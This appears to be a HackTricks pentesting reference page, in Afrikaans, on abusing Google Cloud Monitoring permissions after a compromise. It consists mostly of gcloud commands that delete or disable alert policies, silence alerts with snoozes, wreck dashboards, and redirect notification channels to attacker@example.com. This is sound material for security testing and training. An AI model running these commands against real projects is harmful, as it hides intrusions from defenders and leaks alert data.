# GCP - Monitoring Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Monitoring

Vir meer inligting sien:

{{#ref}}
../gcp-services/gcp-monitoring-enum.md
{{#endref}}

Vir ander maniere om logs te ontwrig, sien:

{{#ref}}
gcp-logging-post-exploitation.md
{{#endref}}

### `monitoring.alertPolicies.delete`

Verwyder 'n alert policy:

<details>

<summary>Verwyder alert policy</summary>
```bash
gcloud alpha monitoring policies delete <policy>
```
</details>

### `monitoring.alertPolicies.update`

Versteur 'n waarskuwingsbeleid:

<details>

<summary>Versteur 'n waarskuwingsbeleid</summary>
```bash
# Disable policy
gcloud alpha monitoring policies update <alert-policy> --no-enabled

# Remove all notification channels
gcloud alpha monitoring policies update <alert-policy> --clear-notification-channels

# Chnage notification channels
gcloud alpha monitoring policies update <alert-policy> --set-notification-channels=ATTACKER_CONTROLLED_CHANNEL

# Modify alert conditions
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
# or use --policy-from-file <policy-file>
```
</details>

### `monitoring.dashboards.update`

Wysig 'n dashboard om dit te ontwrig:

<details>

<summary>Ontwrigt dashboard</summary>
```bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''
```
</details>

### `monitoring.dashboards.delete`

Verwyder 'n dashboard:

<details>

<summary>Verwyder dashboard</summary>
```bash
# Delete dashboard
gcloud monitoring dashboards delete <dashboard>
```
</details>

### `monitoring.snoozes.create`

Voorkom dat beleide waarskuwings genereer deur 'n snoozer te skep:

<details>

<summary>Skep 'n snoozer om waarskuwings te stop</summary>
```bash
# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"
```
</details>

### `monitoring.snoozes.update`

Werk die tydsberekening van 'n snoozer by om te verhoed dat waarskuwings geskep word wanneer die aanvaller belangstel:

<details>

<summary>Werk die snoozer se tydsberekening by</summary>
```bash
# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME

# odify everything, including affected policies
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
```
</details>

### `monitoring.notificationChannels.delete`

Verwyder 'n gekonfigureerde kanaal:

<details>

<summary>Verwyder kennisgewingkanaal</summary>
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>
```
</details>

### `monitoring.notificationChannels.update`

Werk die etikette van 'n kanaal by om dit te ontwrig:

<details>

<summary>Werk die etikette van 'n kennisgewingkanaal by</summary>
```bash
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
